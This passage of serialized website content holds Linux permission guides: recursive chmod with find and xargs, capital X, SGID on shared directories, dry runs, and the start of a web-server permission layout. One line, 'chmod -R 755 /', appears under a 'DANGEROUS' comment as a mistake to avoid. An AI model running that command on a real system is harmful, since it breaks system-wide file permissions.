changes",[11,26001,286],{"id":285},[16,26003,26004,26005,26008],{},"Experiment with different permission combinations using our free ",[98,26006,26007],{"href":25192},"chmod calculator",". It converts between numeric and symbolic notation in real time, so you can see exactly what each mode does before running the command.",[11,26010,321],{"id":320},[41,26012,26013,26019],{},[44,26014,26015,26018],{},[98,26016,26017],{"href":25175},"Linux File Permissions Explained"," — deep dive into the owner\u002Fgroup\u002Fothers model and special permission bits",[44,26020,26021,26025],{},[98,26022,26024],{"href":26023},"\u002Fguides\u002Funix-permissions-reference","Unix Permissions Reference"," — quick reference for format conversion, ACLs, and web server best practices",[2043,26027,26028],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":26030},[26031,26032,26033,26037,26042,26043,26044,26045,26046,26047,26048],{"id":25230,"depth":337,"text":25231},{"id":25248,"depth":337,"text":25249},{"id":25345,"depth":337,"text":25346,"children":26034},[26035,26036],{"id":25388,"depth":343,"text":25389},{"id":25464,"depth":343,"text":25465},{"id":25542,"depth":337,"text":25543,"children":26038},[26039,26040,26041],{"id":25552,"depth":343,"text":25553},{"id":25596,"depth":343,"text":25597},{"id":25634,"depth":343,"text":25635},{"id":25733,"depth":337,"text":25734},{"id":25803,"depth":337,"text":25804},{"id":25892,"depth":337,"text":25893},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Complete guide to chmod syntax, numeric modes, and symbolic notation. Learn how to set file permissions on Linux and Unix systems.",{"keywords":26051},[26052,26053],"chmod-calculator","chmod-guide",{"title":25225,"description":26049},"guides\u002Fchmod-guide","OsXcz9leT9Z7iNbwD9w-AK-QA6R2tWB54bGqXdbfryk",{"id":26058,"title":25182,"body":26059,"date":2070,"description":26837,"extension":361,"meta":26838,"navigation":363,"path":25181,"readingTime":1710,"seo":26839,"stem":26840,"__hash__":26841},"guides\u002Fguides\u002Fchmod-recursive-permissions.md",{"type":8,"value":26060,"toc":26814},[26061,26065,26076,26083,26087,26090,26149,26162,26166,26209,26214,26218,26228,26282,26291,26295,26301,26318,26325,26329,26380,26384,26388,26401,26437,26441,26444,26531,26535,26538,26588,26593,26597,26601,26622,26630,26634,26650,26684,26688,26697,26725,26729,26732,26781,26784,26786,26800,26802,26805,26811],[11,26062,26064],{"id":26063},"the-recursive-permission-problem","The Recursive Permission Problem",[16,26066,26067,26068,26071,26072,26075],{},"Running ",[143,26069,26070],{},"chmod -R 755 \u002Fvar\u002Fwww"," seems straightforward — apply 755 to everything under ",[143,26073,26074],{},"\u002Fvar\u002Fwww",". But this creates a common problem: 755 makes files executable, which is unnecessary and potentially dangerous for regular files. You usually want directories at 755 (rwxr-xr-x) and files at 644 (rw-r--r--).",[16,26077,26078,26079,26082],{},"A single ",[143,26080,26081],{},"chmod -R"," can't set different permissions for files versus directories. You need more targeted approaches.",[11,26084,26086],{"id":26085},"the-standard-solution-find-chmod","The Standard Solution: Find + Chmod",[16,26088,26089],{},"The most widely used pattern separates files and directories:",[135,26091,26093],{"className":6951,"code":26092,"language":6953,"meta":141,"style":141},"# Directories: 755 (rwxr-xr-x)\nfind \u002Fvar\u002Fwww -type d -exec chmod 755 {} +\n\n# Files: 644 (rw-r--r--)\nfind \u002Fvar\u002Fwww -type f -exec chmod 644 {} +\n",[143,26094,26095,26100,26120,26124,26129],{"__ignoreMap":141},[1560,26096,26097],{"class":1562,"line":1563},[1560,26098,26099],{"class":1649},"# Directories: 755 (rwxr-xr-x)\n",[1560,26101,26102,26104,26106,26108,26110,26112,26114,26116,26118],{"class":1562,"line":337},[1560,26103,24989],{"class":1566},[1560,26105,25827],{"class":5634},[1560,26107,24995],{"class":1576},[1560,26109,11229],{"class":5634},[1560,26111,25001],{"class":1576},[1560,26113,25004],{"class":5634},[1560,26115,24804],{"class":1576},[1560,26117,25010],{"class":5634},[1560,26119,25013],{"class":5634},[1560,26121,26122],{"class":1562,"line":343},[1560,26123,1702],{"emptyLinePlaceholder":363},[1560,26125,26126],{"class":1562,"line":365},[1560,26127,26128],{"class":1649},"# Files: 644 (rw-r--r--)\n",[1560,26130,26131,26133,26135,26137,26139,26141,26143,26145,26147],{"class":1562,"line":889},[1560,26132,24989],{"class":1566},[1560,26134,25827],{"class":5634},[1560,26136,24995],{"class":1576},[1560,26138,24998],{"class":5634},[1560,26140,25001],{"class":1576},[1560,26142,25004],{"class":5634},[1560,26144,24762],{"class":1576},[1560,26146,25010],{"class":5634},[1560,26148,25013],{"class":5634},[16,26150,421,26151,26154,26155,26157,26158,26161],{},[143,26152,26153],{},"{} +"," syntax batches matched paths into fewer ",[143,26156,24759],{}," calls, making it significantly faster than ",[143,26159,26160],{},"{} \\;"," for large directory trees.",[33,26163,26165],{"id":26164},"performance-comparison","Performance Comparison",[193,26167,26168,26181],{},[196,26169,26170],{},[199,26171,26172,26175,26178],{},[202,26173,26174],{},"Command Calls",[202,26176,26177],{},"10,000 Files",[202,26179,26180],{},"100,000 Files",[211,26182,26183,26196],{},[199,26184,26185,26190,26193],{},[216,26186,26187,26189],{},[143,26188,26160],{}," (one per file)",[216,26191,26192],{},"~10,000 chmod calls",[216,26194,26195],{},"~100,000 chmod calls",[199,26197,26198,26203,26206],{},[216,26199,26200,26202],{},[143,26201,26153],{}," (batched)",[216,26204,26205],{},"~100 chmod calls",[216,26207,26208],{},"~1,000 chmod calls",[16,26210,1388,26211,26213],{},[143,26212,26153],{}," unless you have a specific reason for per-file execution.",[11,26215,26217],{"id":26216},"using-xargs-for-large-trees","Using Xargs for Large Trees",[16,26219,26220,26221,26224,26225,8037],{},"For very large directory trees, ",[143,26222,26223],{},"xargs"," can be faster than ",[143,26226,26227],{},"-exec",[135,26229,26231],{"className":6951,"code":26230,"language":6953,"meta":141,"style":141},"find \u002Fvar\u002Fwww -type d -print0 | xargs -0 chmod 755\nfind \u002Fvar\u002Fwww -type f -print0 | xargs -0 chmod 644\n",[143,26232,26233,26259],{"__ignoreMap":141},[1560,26234,26235,26237,26239,26241,26243,26246,26248,26251,26254,26256],{"class":1562,"line":1563},[1560,26236,24989],{"class":1566},[1560,26238,25827],{"class":5634},[1560,26240,24995],{"class":1576},[1560,26242,11229],{"class":5634},[1560,26244,26245],{"class":1576}," -print0",[1560,26247,17408],{"class":1669},[1560,26249,26250],{"class":1566}," xargs",[1560,26252,26253],{"class":1576}," -0",[1560,26255,25004],{"class":5634},[1560,26257,26258],{"class":1576}," 755\n",[1560,26260,26261,26263,26265,26267,26269,26271,26273,26275,26277,26279],{"class":1562,"line":337},[1560,26262,24989],{"class":1566},[1560,26264,25827],{"class":5634},[1560,26266,24995],{"class":1576},[1560,26268,24998],{"class":5634},[1560,26270,26245],{"class":1576},[1560,26272,17408],{"class":1669},[1560,26274,26250],{"class":1566},[1560,26276,26253],{"class":1576},[1560,26278,25004],{"class":5634},[1560,26280,26281],{"class":1576}," 644\n",[16,26283,421,26284,1856,26287,26290],{},[143,26285,26286],{},"-print0",[143,26288,26289],{},"-0"," flags handle filenames with spaces or special characters safely. Never omit these flags when dealing with user-uploaded content or uncontrolled filenames.",[11,26292,26294],{"id":26293},"the-chmod-x-trick","The Chmod X Trick",[16,26296,421,26297,26300],{},[143,26298,26299],{},"X"," (capital X) permission flag sets execute only on directories and files that already have execute permission:",[135,26302,26304],{"className":6951,"code":26303,"language":6953,"meta":141,"style":141},"chmod -R a+X \u002Fvar\u002Fwww\n",[143,26305,26306],{"__ignoreMap":141},[1560,26307,26308,26310,26312,26315],{"class":1562,"line":1563},[1560,26309,24759],{"class":1566},[1560,26311,25535],{"class":1576},[1560,26313,26314],{"class":5634}," a+X",[1560,26316,26317],{"class":5634}," \u002Fvar\u002Fwww\n",[16,26319,26320,26321,26324],{},"This is useful when you want to add execute to directories without making all files executable. However, it has a catch: files that already have any execute bit set will keep it. If your files are already 755 by mistake, ",[143,26322,26323],{},"a+X"," won't fix them — it preserves the existing execute bits.",[33,26326,26328],{"id":26327},"safe-pattern-reset-then-apply","Safe Pattern: Reset Then Apply",[135,26330,26332],{"className":6951,"code":26331,"language":6953,"meta":141,"style":141},"# First, strip all execute bits\nchmod -R a-x \u002Fvar\u002Fwww\n\n# Then add execute back for directories only\nfind \u002Fvar\u002Fwww -type d -exec chmod a+x {} +\n",[143,26333,26334,26339,26350,26354,26359],{"__ignoreMap":141},[1560,26335,26336],{"class":1562,"line":1563},[1560,26337,26338],{"class":1649},"# First, strip all execute bits\n",[1560,26340,26341,26343,26345,26348],{"class":1562,"line":337},[1560,26342,24759],{"class":1566},[1560,26344,25535],{"class":1576},[1560,26346,26347],{"class":5634}," a-x",[1560,26349,26317],{"class":5634},[1560,26351,26352],{"class":1562,"line":343},[1560,26353,1702],{"emptyLinePlaceholder":363},[1560,26355,26356],{"class":1562,"line":365},[1560,26357,26358],{"class":1649},"# Then add execute back for directories only\n",[1560,26360,26361,26363,26365,26367,26369,26371,26373,26376,26378],{"class":1562,"line":889},[1560,26362,24989],{"class":1566},[1560,26364,25827],{"class":5634},[1560,26366,24995],{"class":1576},[1560,26368,11229],{"class":5634},[1560,26370,25001],{"class":1576},[1560,26372,25004],{"class":5634},[1560,26374,26375],{"class":5634}," a+x",[1560,26377,25010],{"class":5634},[1560,26379,25013],{"class":5634},[11,26381,26383],{"id":26382},"handling-special-file-types","Handling Special File Types",[33,26385,26387],{"id":26386},"executable-scripts","Executable Scripts",[16,26389,26390,26391,1459,26394,1459,26397,26400],{},"Scripts (",[143,26392,26393],{},".sh",[143,26395,26396],{},".py",[143,26398,26399],{},".js"," with shebangs) need execute permission:",[135,26402,26404],{"className":6951,"code":26403,"language":6953,"meta":141,"style":141},"# After setting 644 on all files, add execute back for scripts\nfind \u002Fvar\u002Fwww -type f -name \"*.sh\" -exec chmod 755 {} +\n",[143,26405,26406,26411],{"__ignoreMap":141},[1560,26407,26408],{"class":1562,"line":1563},[1560,26409,26410],{"class":1649},"# After setting 644 on all files, add execute back for scripts\n",[1560,26412,26413,26415,26417,26419,26421,26424,26427,26429,26431,26433,26435],{"class":1562,"line":337},[1560,26414,24989],{"class":1566},[1560,26416,25827],{"class":5634},[1560,26418,24995],{"class":1576},[1560,26420,24998],{"class":5634},[1560,26422,26423],{"class":1576}," -name",[1560,26425,26426],{"class":5634}," \"*.sh\"",[1560,26428,25001],{"class":1576},[1560,26430,25004],{"class":5634},[1560,26432,24804],{"class":1576},[1560,26434,25010],{"class":5634},[1560,26436,25013],{"class":5634},[33,26438,26440],{"id":26439},"web-server-document-roots","Web Server Document Roots",[16,26442,26443],{},"A secure web root typically follows this pattern:",[193,26445,26446,26459],{},[196,26447,26448],{},[199,26449,26450,26453,26455,26457],{},[202,26451,26452],{},"Path",[202,26454,25401],{},[202,26456,24547],{},[202,26458,24550],{},[211,26460,26461,26475,26488,26498,26509,26520],{},[199,26462,26463,26468,26470,26473],{},[216,26464,26465],{},[143,26466,26467],{},"\u002Fvar\u002Fwww\u002F",[216,26469,24582],{},[216,26471,26472],{},"root",[216,26474,24918],{},[199,26476,26477,26482,26484,26486],{},[216,26478,26479],{},[143,26480,26481],{},"\u002Fvar\u002Fwww\u002Fhtml\u002F",[216,26483,24582],{},[216,26485,24918],{},[216,26487,24918],{},[199,26489,26490,26492,26494,26496],{},[216,26491,25086],{},[216,26493,24582],{},[216,26495,24918],{},[216,26497,24918],{},[199,26499,26500,26503,26505,26507],{},[216,26501,26502],{},"Static files",[216,26504,24563],{},[216,26506,24918],{},[216,26508,24918],{},[199,26510,26511,26514,26516,26518],{},[216,26512,26513],{},"Upload directories",[216,26515,24582],{},[216,26517,24918],{},[216,26519,24918],{},[199,26521,26522,26525,26527,26529],{},[216,26523,26524],{},"Config files",[216,26526,17196],{},[216,26528,26472],{},[216,26530,24918],{},[33,26532,26534],{"id":26533},"shared-group-directories","Shared Group Directories",[16,26536,26537],{},"For directories where a group needs write access:",[135,26539,26541],{"className":6951,"code":26540,"language":6953,"meta":141,"style":141},"# Set SGID bit so new files inherit the group\nfind \u002Fvar\u002Fwww\u002Fshared -type d -exec chmod 2775 {} +\nfind \u002Fvar\u002Fwww\u002Fshared -type f -exec chmod 664 {} +\n",[143,26542,26543,26548,26568],{"__ignoreMap":141},[1560,26544,26545],{"class":1562,"line":1563},[1560,26546,26547],{"class":1649},"# Set SGID bit so new files inherit the group\n",[1560,26549,26550,26552,26554,26556,26558,26560,26562,26564,26566],{"class":1562,"line":337},[1560,26551,24989],{"class":1566},[1560,26553,24992],{"class":5634},[1560,26555,24995],{"class":1576},[1560,26557,11229],{"class":5634},[1560,26559,25001],{"class":1576},[1560,26561,25004],{"class":5634},[1560,26563,24981],{"class":1576},[1560,26565,25010],{"class":5634},[1560,26567,25013],{"class":5634},[1560,26569,26570,26572,26574,26576,26578,26580,26582,26584,26586],{"class":1562,"line":343},[1560,26571,24989],{"class":1566},[1560,26573,24992],{"class":5634},[1560,26575,24995],{"class":1576},[1560,26577,24998],{"class":5634},[1560,26579,25001],{"class":1576},[1560,26581,25004],{"class":5634},[1560,26583,25007],{"class":1576},[1560,26585,25010],{"class":5634},[1560,26587,25013],{"class":5634},[16,26589,421,26590,26592],{},[143,26591,10099],{}," (SGID) ensures new files are created with the directory's group rather than the creator's primary group.",[11,26594,26596],{"id":26595},"common-recursive-mistakes","Common Recursive Mistakes",[33,26598,26600],{"id":26599},"_1-chmodding-from-root","1. Chmodding from Root",[135,26602,26604],{"className":6951,"code":26603,"language":6953,"meta":141,"style":141},"# DANGEROUS — breaks system binaries and configs\nchmod -R 755 \u002F\n",[143,26605,26606,26611],{"__ignoreMap":141},[1560,26607,26608],{"class":1562,"line":1563},[1560,26609,26610],{"class":1649},"# DANGEROUS — breaks system binaries and configs\n",[1560,26612,26613,26615,26617,26619],{"class":1562,"line":337},[1560,26614,24759],{"class":1566},[1560,26616,25535],{"class":1576},[1560,26618,24804],{"class":1576},[1560,26620,26621],{"class":5634}," \u002F\n",[16,26623,26624,26625,1531,26627,468],{},"Always specify your target directory explicitly. Never run recursive chmod on ",[143,26626,9423],{},[143,26628,26629],{},"\u002Fetc",[33,26631,26633],{"id":26632},"_2-forgetting-hidden-files","2. Forgetting Hidden Files",[16,26635,26636,26638,26639,26641,26642,26645,26646,26649],{},[143,26637,26081],{}," processes hidden files, but ",[143,26640,24989],{}," patterns like ",[143,26643,26644],{},"*.txt"," won't match ",[143,26647,26648],{},".env",". If you need to exclude hidden files:",[135,26651,26653],{"className":6951,"code":26652,"language":6953,"meta":141,"style":141},"find \u002Fvar\u002Fwww -type f -not -path '*\u002F\\.*' -exec chmod 644 {} +\n",[143,26654,26655],{"__ignoreMap":141},[1560,26656,26657,26659,26661,26663,26665,26668,26671,26674,26676,26678,26680,26682],{"class":1562,"line":1563},[1560,26658,24989],{"class":1566},[1560,26660,25827],{"class":5634},[1560,26662,24995],{"class":1576},[1560,26664,24998],{"class":5634},[1560,26666,26667],{"class":1576}," -not",[1560,26669,26670],{"class":1576}," -path",[1560,26672,26673],{"class":5634}," '*\u002F\\.*'",[1560,26675,25001],{"class":1576},[1560,26677,25004],{"class":5634},[1560,26679,24762],{"class":1576},[1560,26681,25010],{"class":5634},[1560,26683,25013],{"class":5634},[33,26685,26687],{"id":26686},"_3-modifying-symlink-targets","3. Modifying Symlink Targets",[16,26689,26690,26692,26693,26696],{},[143,26691,24759],{}," follows symlinks and modifies the target file. This can accidentally change permissions outside your intended directory tree. Use ",[143,26694,26695],{},"-P"," with find to avoid following symlinks:",[135,26698,26700],{"className":6951,"code":26699,"language":6953,"meta":141,"style":141},"find -P \u002Fvar\u002Fwww -type f -exec chmod 644 {} +\n",[143,26701,26702],{"__ignoreMap":141},[1560,26703,26704,26706,26709,26711,26713,26715,26717,26719,26721,26723],{"class":1562,"line":1563},[1560,26705,24989],{"class":1566},[1560,26707,26708],{"class":1576}," -P",[1560,26710,25827],{"class":5634},[1560,26712,24995],{"class":1576},[1560,26714,24998],{"class":5634},[1560,26716,25001],{"class":1576},[1560,26718,25004],{"class":5634},[1560,26720,24762],{"class":1576},[1560,26722,25010],{"class":5634},[1560,26724,25013],{"class":5634},[11,26726,26728],{"id":26727},"dry-run-first","Dry Run First",[16,26730,26731],{},"Before running recursive chmod, preview what would change:",[135,26733,26735],{"className":6951,"code":26734,"language":6953,"meta":141,"style":141},"# List all files that would be modified\nfind \u002Fvar\u002Fwww -type f ! -perm 644 -print\nfind \u002Fvar\u002Fwww -type d ! -perm 755 -print\n",[143,26736,26737,26742,26763],{"__ignoreMap":141},[1560,26738,26739],{"class":1562,"line":1563},[1560,26740,26741],{"class":1649},"# List all files that would be modified\n",[1560,26743,26744,26746,26748,26750,26752,26755,26758,26760],{"class":1562,"line":337},[1560,26745,24989],{"class":1566},[1560,26747,25827],{"class":5634},[1560,26749,24995],{"class":1576},[1560,26751,24998],{"class":5634},[1560,26753,26754],{"class":5634}," !",[1560,26756,26757],{"class":1576}," -perm",[1560,26759,24762],{"class":1576},[1560,26761,26762],{"class":1576}," -print\n",[1560,26764,26765,26767,26769,26771,26773,26775,26777,26779],{"class":1562,"line":343},[1560,26766,24989],{"class":1566},[1560,26768,25827],{"class":5634},[1560,26770,24995],{"class":1576},[1560,26772,11229],{"class":5634},[1560,26774,26754],{"class":5634},[1560,26776,26757],{"class":1576},[1560,26778,24804],{"class":1576},[1560,26780,26762],{"class":1576},[16,26782,26783],{},"Only apply changes if the list looks correct.",[11,26785,321],{"id":320},[41,26787,26788,26792,26796],{},[44,26789,26790],{},[98,26791,25170],{"href":25169},[44,26793,26794],{},[98,26795,25176],{"href":25175},[44,26797,26798],{},[98,26799,26024],{"href":26023},[11,26801,286],{"id":285},[16,26803,26804],{},"Calculate chmod values visually and see exactly what each permission set allows. Our free tool converts between numeric, symbolic, and binary representations.",[16,26806,4531,26807],{},[98,26808,26809],{"href":25192},[47,26810,25195],{},[2043,26812,26813],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":26815},[26816,26817,26820,26821,26824,26829,26834,26835,26836],{"id":26063,"depth":337,"text":26064},{"id":26085,"depth":337,"text":26086,"children":26818},[26819],{"id":26164,"depth":343,"text":26165},{"id":26216,"depth":337,"text":26217},{"id":26293,"depth":337,"text":26294,"children":26822},[26823],{"id":26327,"depth":343,"text":26328},{"id":26382,"depth":337,"text":26383,"children":26825},[26826,26827,26828],{"id":26386,"depth":343,"text":26387},{"id":26439,"depth":343,"text":26440},{"id":26533,"depth":343,"text":26534},{"id":26595,"depth":337,"text":26596,"children":26830},[26831,26832,26833],{"id":26599,"depth":343,"text":26600},{"id":26632,"depth":343,"text":26633},{"id":26686,"depth":343,"text":26687},{"id":26727,"depth":337,"text":26728},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"How to apply chmod recursively while keeping files and directories at different permission levels.",{"immutable":363},{"title":25182,"description":26837},"guides\u002Fchmod-recursive-permissions","2kwB9pRb0spWysR4nXgSOpZZSBt1am2AiLNavUpdaEc",{"id":26843,"title":26844,"body":26845,"date":2070,"description":27683,"extension":361,"meta":27684,"navigation":363,"path":27687,"readingTime":1717,"seo":27688,"stem":27689,"__hash__":27690},"guides\u002Fguides\u002Fchmod-web-server-directories.md","chmod for Web Server Directories: Secure Permission Patterns",{"type":8,"value":26846,"toc":27657},[26847,26851,26854,26857,26861,26871,26875,26881,26885,27003,27007,27011,27193,27197,27200,27252,27256,27259,27263,27274,27301,27331,27335,27364,27366,27373,27376,27381,27385,27388,27398,27402,27405,27410,27414,27421,27426,27430,27603,27606,27608,27628,27630,27640,27642,27655],[11,26848,26850],{"id":26849},"why-web-server-permissions-matter","Why Web Server Permissions Matter",[16,26852,26853],{},"Misconfigured web server permissions are a leading cause of security breaches. If a web root is world-writable, an attacker who finds any code execution vulnerability can modify your site, plant malware, or steal data. If permissions are too restrictive, the server cannot serve pages at all.",[16,26855,26856],{},"The goal: set permissions that are restrictive enough to prevent unauthorized writes, but permissive enough for the server to function normally.",[11,26858,26860],{"id":26859},"the-standard-web-server-permission-model","The Standard Web Server Permission Model",[16,26862,26863,26864,26866,26867,26870],{},"Web servers like Apache and Nginx run as a specific user (often ",[143,26865,24918],{}," on Debian\u002FUbuntu or ",[143,26868,26869],{},"nginx"," on RHEL\u002FCentOS). Your files need to be readable by that user — but not writable unless there is a specific reason.",[33,26872,26874],{"id":26873},"directory-structure","Directory Structure",[135,26876,26879],{"className":26877,"code":26878,"language":140},[138],"\u002Fvar\u002Fwww\u002F\n├── html\u002F           # Document root (public files)\n│   ├── index.html\n│   ├── css\u002F\n│   └── js\u002F\n├── uploads\u002F        # User-uploaded files\n├── logs\u002F           # Server logs\n└── config\u002F         # Configuration files with secrets\n",[143,26880,26878],{"__ignoreMap":141},[33,26882,26884],{"id":26883},"recommended-permissions","Recommended Permissions",[193,26886,26887,26901],{},[196,26888,26889],{},[199,26890,26891,26893,26895,26897,26899],{},[202,26892,26452],{},[202,26894,25401],{},[202,26896,25398],{},[202,26898,24547],{},[202,26900,12089],{},[211,26902,26903,26920,26936,26954,26971,26987],{},[199,26904,26905,26910,26912,26914,26917],{},[216,26906,26907],{},[143,26908,26909],{},"\u002Fvar\u002Fwww\u002Fhtml",[216,26911,24585],{},[216,26913,24582],{},[216,26915,26916],{},"root:www-data",[216,26918,26919],{},"Owner manages, server reads",[199,26921,26922,26927,26929,26931,26933],{},[216,26923,26924],{},[143,26925,26926],{},"\u002Fvar\u002Fwww\u002Fhtml\u002F*",[216,26928,24566],{},[216,26930,24563],{},[216,26932,26916],{},[216,26934,26935],{},"Static files, server reads only",[199,26937,26938,26943,26946,26949,26951],{},[216,26939,26940],{},[143,26941,26942],{},"\u002Fvar\u002Fwww\u002Fuploads",[216,26944,26945],{},"rwxrwx---",[216,26947,26948],{},"770",[216,26950,26916],{},[216,26952,26953],{},"Server can write, others cannot",[199,26955,26956,26961,26963,26965,26968],{},[216,26957,26958],{},[143,26959,26960],{},"\u002Fvar\u002Fwww\u002Fconfig",[216,26962,24622],{},[216,26964,24619],{},[216,26966,26967],{},"root:root",[216,26969,26970],{},"Only root can access",[199,26972,26973,26978,26980,26982,26984],{},[216,26974,26975],{},[143,26976,26977],{},"\u002Fvar\u002Fwww\u002Fconfig\u002F*.php",[216,26979,24604],{},[216,26981,24601],{},[216,26983,26967],{},[216,26985,26986],{},"Secrets — no group or others",[199,26988,26989,26994,26996,26998,27000],{},[216,26990,26991],{},[143,26992,26993],{},"\u002Fvar\u002Fwww\u002Flogs",[216,26995,24655],{},[216,26997,24652],{},[216,26999,26916],{},[216,27001,27002],{},"Server writes, group reads",[11,27004,27006],{"id":27005},"applying-permissions","Applying Permissions",[33,27008,27010],{"id":27009},"set-up-a-new-web-root","Set Up a New Web Root",[135,27012,27014],{"className":6951,"code":27013,"language":6953,"meta":141,"style":141},"# Create directory structure\nsudo mkdir -p \u002Fvar\u002Fwww\u002Fhtml \u002Fvar\u002Fwww\u002Fuploads \u002Fvar\u002Fwww\u002Flogs \u002Fvar\u002Fwww\u002Fconfig\n\n# Set ownership\nsudo chown -R root:www-data \u002Fvar\u002Fwww\n\n# Set directory permissions\nsudo find \u002Fvar\u002Fwww -type d -exec chmod 755 {} +\n\n# Set file permissions\nsudo find \u002Fvar\u002Fwww -type f -exec chmod 644 {} +\n\n# Tighten config directory\nsudo chmod 700 \u002Fvar\u002Fwww\u002Fconfig\nsudo find \u002Fvar\u002Fwww\u002Fconfig -type f -exec chmod 600 {} +\n\n# Open uploads directory for server writes\nsudo chmod 770 \u002Fvar\u002Fwww\u002Fuploads\n",[143,27015,27016,27021,27044,27048,27053,27067,27071,27076,27099,27103,27108,27130,27134,27139,27149,27172,27176,27181],{"__ignoreMap":141},[1560,27017,27018],{"class":1562,"line":1563},[1560,27019,27020],{"class":1649},"# Create directory structure\n",[1560,27022,27023,27026,27029,27032,27035,27038,27041],{"class":1562,"line":337},[1560,27024,27025],{"class":1566},"sudo",[1560,27027,27028],{"class":5634}," mkdir",[1560,27030,27031],{"class":1576}," -p",[1560,27033,27034],{"class":5634}," \u002Fvar\u002Fwww\u002Fhtml",[1560,27036,27037],{"class":5634}," \u002Fvar\u002Fwww\u002Fuploads",[1560,27039,27040],{"class":5634}," \u002Fvar\u002Fwww\u002Flogs",[1560,27042,27043],{"class":5634}," \u002Fvar\u002Fwww\u002Fconfig\n",[1560,27045,27046],{"class":1562,"line":343},[1560,27047,1702],{"emptyLinePlaceholder":363},[1560,27049,27050],{"class":1562,"line":365},[1560,27051,27052],{"class":1649},"# Set ownership\n",[1560,27054,27055,27057,27060,27062,27065],{"class":1562,"line":889},[1560,27056,27025],{"class":1566},[1560,27058,27059],{"class":5634}," chown",[1560,27061,25535],{"class":1576},[1560,27063,27064],{"class":5634}," root:www-data",[1560,27066,26317],{"class":5634},[1560,27068,27069],{"class":1562,"line":1710},[1560,27070,1702],{"emptyLinePlaceholder":363},[1560,27072,27073],{"class":1562,"line":1717},[1560,27074,27075],{"class":1649},"# Set directory permissions\n",[1560,27077,27078,27080,27083,27085,27087,27089,27091,27093,27095,27097],{"class":1562,"line":1747},[1560,27079,27025],{"class":1566},[1560,27081,27082],{"class":5634}," find",[1560,27084,25827],{"class":5634},[1560,27086,24995],{"class":1576},[1560,27088,11229],{"class":5634},[1560,27090,25001],{"class":1576},[1560,27092,25004],{"class":5634},[1560,27094,24804],{"class":1576},[1560,27096,25010],{"class":5634},[1560,27098,25013],{"class":5634},[1560,27100,27101],{"class":1562,"line":2507},[1560,27102,1702],{"emptyLinePlaceholder":363},[1560,27104,27105],{"class":1562,"line":2524},[1560,27106,27107],{"class":1649},"# Set file permissions\n",[1560,27109,27110,27112,27114,27116,27118,27120,27122,27124,27126,27128],{"class":1562,"line":2529},[1560,27111,27025],{"class":1566},[1560,27113,27082],{"class":5634},[1560,27115,25827],{"class":5634},[1560,27117,24995],{"class":1576},[1560,27119,24998],{"class":5634},[1560,27121,25001],{"class":1576},[1560,27123,25004],{"class":5634},[1560,27125,24762],{"class":1576},[1560,27127,25010],{"class":5634},[1560,27129,25013],{"class":5634},[1560,27131,27132],{"class":1562,"line":2534},[1560,27133,1702],{"emptyLinePlaceholder":363},[1560,27135,27136],{"class":1562,"line":2542},[1560,27137,27138],{"class":1649},"# Tighten config directory\n",[1560,27140,27141,27143,27145,27147],{"class":1562,"line":2558},[1560,27142,27025],{"class":1566},[1560,27144,25004],{"class":5634},[1560,27146,24890],{"class":1576},[1560,27148,27043],{"class":5634},[1560,27150,27151,27153,27155,27158,27160,27162,27164,27166,27168,27170],{"class":1562,"line":2570},[1560,27152,27025],{"class":1566},[1560,27154,27082],{"class":5634},[1560,27156,27157],{"class":5634}," \u002Fvar\u002Fwww\u002Fconfig",[1560,27159,24995],{"class":1576},[1560,27161,24998],{"class":5634},[1560,27163,25001],{"class":1576},[1560,27165,25004],{"class":5634},[1560,27167,24844],{"class":1576},[1560,27169,25010],{"class":5634},[1560,27171,25013],{"class":5634},[1560,27173,27174],{"class":1562,"line":6638},[1560,27175,1702],{"emptyLinePlaceholder":363},[1560,27177,27178],{"class":1562,"line":11615},[1560,27179,27180],{"class":1649},"# Open uploads directory for server 